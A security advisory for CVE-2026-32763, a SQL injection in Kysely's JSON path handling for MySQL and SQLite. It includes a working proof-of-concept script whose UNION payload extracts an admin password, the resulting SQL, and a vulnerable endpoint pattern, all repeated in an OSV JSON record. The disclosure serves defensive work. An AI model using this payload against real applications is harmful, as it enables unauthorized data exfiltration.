GHSA-WMRF-HV6W-MR66

Vulnerability from github – Published: 2026-03-18 12:59 – Updated: 2026-03-20 21:16
VLAI
Summary
SQL Injection via unsanitized JSON path keys when ignoring/silencing compilation errors or using `Kysely<any>`.
Details

Summary

Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() directly into single-quoted JSON path string literals ('$.key') without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.

This is inconsistent with sanitizeIdentifier(), which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.

Details

visitJSONPath() wraps JSON path in single quotes ('$...'), and visitJSONPathLeg() appends each key/index value via this.append(String(node.value)) with no sanitization:

// dist/cjs/query-compiler/default-query-compiler.js
visitJSONPath(node) {
    if (node.inOperator) {
        this.visitNode(node.inOperator);
    }
    this.append("'$");
    for (const pathLeg of node.pathLegs) {
        this.visitNode(pathLeg);        // Each leg appended without escaping
    }
    this.append("'");
}
visitJSONPathLeg(node) {
    const isArrayLocation = node.type === 'ArrayLocation';
    this.append(isArrayLocation ? '[' : '.');
    this.append(String(node.value));    // <-- NO single quote escaping
    if (isArrayLocation) {
        this.append(']');
    }
}

Contrast with sanitizeIdentifier() in the same file, which properly doubles delimiter characters:

sanitizeIdentifier(identifier) {
    const leftWrap = this.getLeftIdentifierWrapper();
    const rightWrap = this.getRightIdentifierWrapper();
    let sanitized = '';
    for (const c of identifier) {
        sanitized += c;
        if (c === leftWrap) { sanitized += leftWrap; }
        else if (c === rightWrap) { sanitized += rightWrap; }
    }
    return sanitized;
}

Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.

PostgreSQL is not affected. The branching happens in JSONPathBuilder.#createBuilderWithPathLeg() (json-path-builder.js):

  • MySQL/SQLite operators (->$, ->>$) produce a JSONPathNode traversal → visitJSONPathLeg() concatenates the key directly into a single-quoted JSON path string ('$.key') — vulnerable, no escaping.
  • PostgreSQL operators (->, ->>) produce a JSONOperatorChainNode traversal → ValueNode.createImmediate(value)appendImmediateValue()appendStringLiteral()sanitizeStringLiteral() doubles single quotes ('''), generating chained operators ("col"->>'city'). Injection payload becomes a harmless string literal.

Same .key() call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.

PoC

End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):

const Database = require('better-sqlite3');
const { Kysely, SqliteDialect } = require('kysely');

const sqliteDb = new Database(':memory:');
sqliteDb.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);
  INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}');
  INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}');
  CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);
  INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123');
`);

const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });

async function main() {
  // Safe usage
  const safe = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key('city').as('city'))
    .execute();
  console.log("Safe:", safe);
  // [ { city: 'Seoul' }, { city: 'Tokyo' } ]

  // Injection via .key() — exfiltrate admin password
  const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
  const attack = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
    .execute();
  console.log("Injected:", attack);
  // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
}
main();

The payload includes as "city" from "users" to complete the first SELECT before the UNION. The -- comments out the trailing ' as "city" from "users" appended by Kysely.

Generated SQL:

select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"

Realistic application pattern

app.get('/api/products', async (req, res) => {
  const field = req.query.field || 'name';
  const products = await db
    .selectFrom('products')
    .select(eb => eb.ref('metadata', '->>$').key(field).as('value'))
    .execute();
  res.json(products);
});

Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.

Suggested fix

Escape single quotes in JSON path values within visitJSONPathLeg(), similar to how sanitizeIdentifier() doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.

Impact

SQL Injection (CWE-89) — An attacker can inject arbitrary SQL via crafted JSON key names passed to .key() or .at(), enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.28.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "kysely"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.26.0"
            },
            {
              "fixed": "0.28.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32763"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T12:59:32Z",
    "nvd_published_at": "2026-03-20T00:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nKysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The `visitJSONPathLeg()` function appends user-controlled values from `.key()` and `.at()` directly into single-quoted JSON path string literals (`\u0027$.key\u0027`) without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.\n\nThis is inconsistent with `sanitizeIdentifier()`, which properly doubles delimiter characters for identifiers \u2014 both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.\n\n### Details\n\n`visitJSONPath()` wraps JSON path in single quotes (`\u0027$...\u0027`), and `visitJSONPathLeg()` appends each key/index value via `this.append(String(node.value))` with no sanitization:\n\n```javascript\n// dist/cjs/query-compiler/default-query-compiler.js\nvisitJSONPath(node) {\n    if (node.inOperator) {\n        this.visitNode(node.inOperator);\n    }\n    this.append(\"\u0027$\");\n    for (const pathLeg of node.pathLegs) {\n        this.visitNode(pathLeg);        // Each leg appended without escaping\n    }\n    this.append(\"\u0027\");\n}\nvisitJSONPathLeg(node) {\n    const isArrayLocation = node.type === \u0027ArrayLocation\u0027;\n    this.append(isArrayLocation ? \u0027[\u0027 : \u0027.\u0027);\n    this.append(String(node.value));    // \u003c-- NO single quote escaping\n    if (isArrayLocation) {\n        this.append(\u0027]\u0027);\n    }\n}\n```\n\nContrast with `sanitizeIdentifier()` in the same file, which properly doubles delimiter characters:\n\n```javascript\nsanitizeIdentifier(identifier) {\n    const leftWrap = this.getLeftIdentifierWrapper();\n    const rightWrap = this.getRightIdentifierWrapper();\n    let sanitized = \u0027\u0027;\n    for (const c of identifier) {\n        sanitized += c;\n        if (c === leftWrap) { sanitized += leftWrap; }\n        else if (c === rightWrap) { sanitized += rightWrap; }\n    }\n    return sanitized;\n}\n```\n\nBoth identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.\n\nPostgreSQL is **not affected**. The branching happens in `JSONPathBuilder.#createBuilderWithPathLeg()` (`json-path-builder.js`):\n\n- **MySQL/SQLite** operators (`-\u003e$`, `-\u003e\u003e$`) produce a `JSONPathNode` traversal \u2192 `visitJSONPathLeg()` concatenates the key directly into a single-quoted JSON path string (`\u0027$.key\u0027`) \u2014 **vulnerable**, no escaping.\n- **PostgreSQL** operators (`-\u003e`, `-\u003e\u003e`) produce a `JSONOperatorChainNode` traversal \u2192 `ValueNode.createImmediate(value)` \u2192 `appendImmediateValue()` \u2192 `appendStringLiteral()` \u2192 **`sanitizeStringLiteral()` doubles single quotes** (`\u0027` \u2192 `\u0027\u0027`), generating chained operators (`\"col\"-\u003e\u003e\u0027city\u0027`). Injection payload becomes a harmless string literal.\n\nSame `.key()` call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.\n\n### PoC\n\nEnd-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):\n\n```javascript\nconst Database = require(\u0027better-sqlite3\u0027);\nconst { Kysely, SqliteDialect } = require(\u0027kysely\u0027);\n\nconst sqliteDb = new Database(\u0027:memory:\u0027);\nsqliteDb.exec(`\n  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);\n  INSERT INTO users VALUES (1, \u0027alice\u0027, \u0027{\"city\": \"Seoul\", \"age\": 30}\u0027);\n  INSERT INTO users VALUES (2, \u0027bob\u0027, \u0027{\"city\": \"Tokyo\", \"age\": 25}\u0027);\n  CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);\n  INSERT INTO admin VALUES (1, \u0027SUPER_SECRET_PASSWORD_123\u0027);\n`);\n\nconst db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });\n\nasync function main() {\n  // Safe usage\n  const safe = await db\n    .selectFrom(\u0027users\u0027)\n    .select(eb =\u003e eb.ref(\u0027profile\u0027, \u0027-\u003e\u003e$\u0027).key(\u0027city\u0027).as(\u0027city\u0027))\n    .execute();\n  console.log(\"Safe:\", safe);\n  // [ { city: \u0027Seoul\u0027 }, { city: \u0027Tokyo\u0027 } ]\n\n  // Injection via .key() \u2014 exfiltrate admin password\n  const malicious = `city\u0027 as \"city\" from \"users\" UNION SELECT password FROM admin -- `;\n  const attack = await db\n    .selectFrom(\u0027users\u0027)\n    .select(eb =\u003e eb.ref(\u0027profile\u0027, \u0027-\u003e\u003e$\u0027).key(malicious).as(\u0027city\u0027))\n    .execute();\n  console.log(\"Injected:\", attack);\n  // [ { city: \u0027SUPER_SECRET_PASSWORD_123\u0027 }, { city: \u0027Seoul\u0027 }, { city: \u0027Tokyo\u0027 } ]\n}\nmain();\n```\n\nThe payload includes `as \"city\" from \"users\"` to complete the first SELECT before the UNION. The `--` comments out the trailing `\u0027 as \"city\" from \"users\"` appended by Kysely.\n\nGenerated SQL:\n\n```sql\nselect \"profile\"-\u003e\u003e\u0027$.city\u0027 as \"city\" from \"users\" UNION SELECT password FROM admin -- \u0027 as \"city\" from \"users\"\n```\n\n### Realistic application pattern\n\n```javascript\napp.get(\u0027/api/products\u0027, async (req, res) =\u003e {\n  const field = req.query.field || \u0027name\u0027;\n  const products = await db\n    .selectFrom(\u0027products\u0027)\n    .select(eb =\u003e eb.ref(\u0027metadata\u0027, \u0027-\u003e\u003e$\u0027).key(field).as(\u0027value\u0027))\n    .execute();\n  res.json(products);\n});\n```\n\nDynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.\n\n### Suggested fix\n\nEscape single quotes in JSON path values within `visitJSONPathLeg()`, similar to how `sanitizeIdentifier()` doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.\n\n### Impact\n\n**SQL Injection (CWE-89)** \u2014 An attacker can inject arbitrary SQL via crafted JSON key names passed to `.key()` or `.at()`, enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.",
  "id": "GHSA-wmrf-hv6w-mr66",
  "modified": "2026-03-20T21:16:22Z",
  "published": "2026-03-18T12:59:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/security/advisories/GHSA-wmrf-hv6w-mr66"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32763"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/commit/0a602bff2f442f6c26d5e047ca8f8715179f6d24"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kysely-org/kysely"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kysely-org/kysely/releases/tag/v0.28.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SQL Injection via unsanitized JSON path keys when ignoring/silencing compilation errors or using `Kysely\u003cany\u003e`."
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…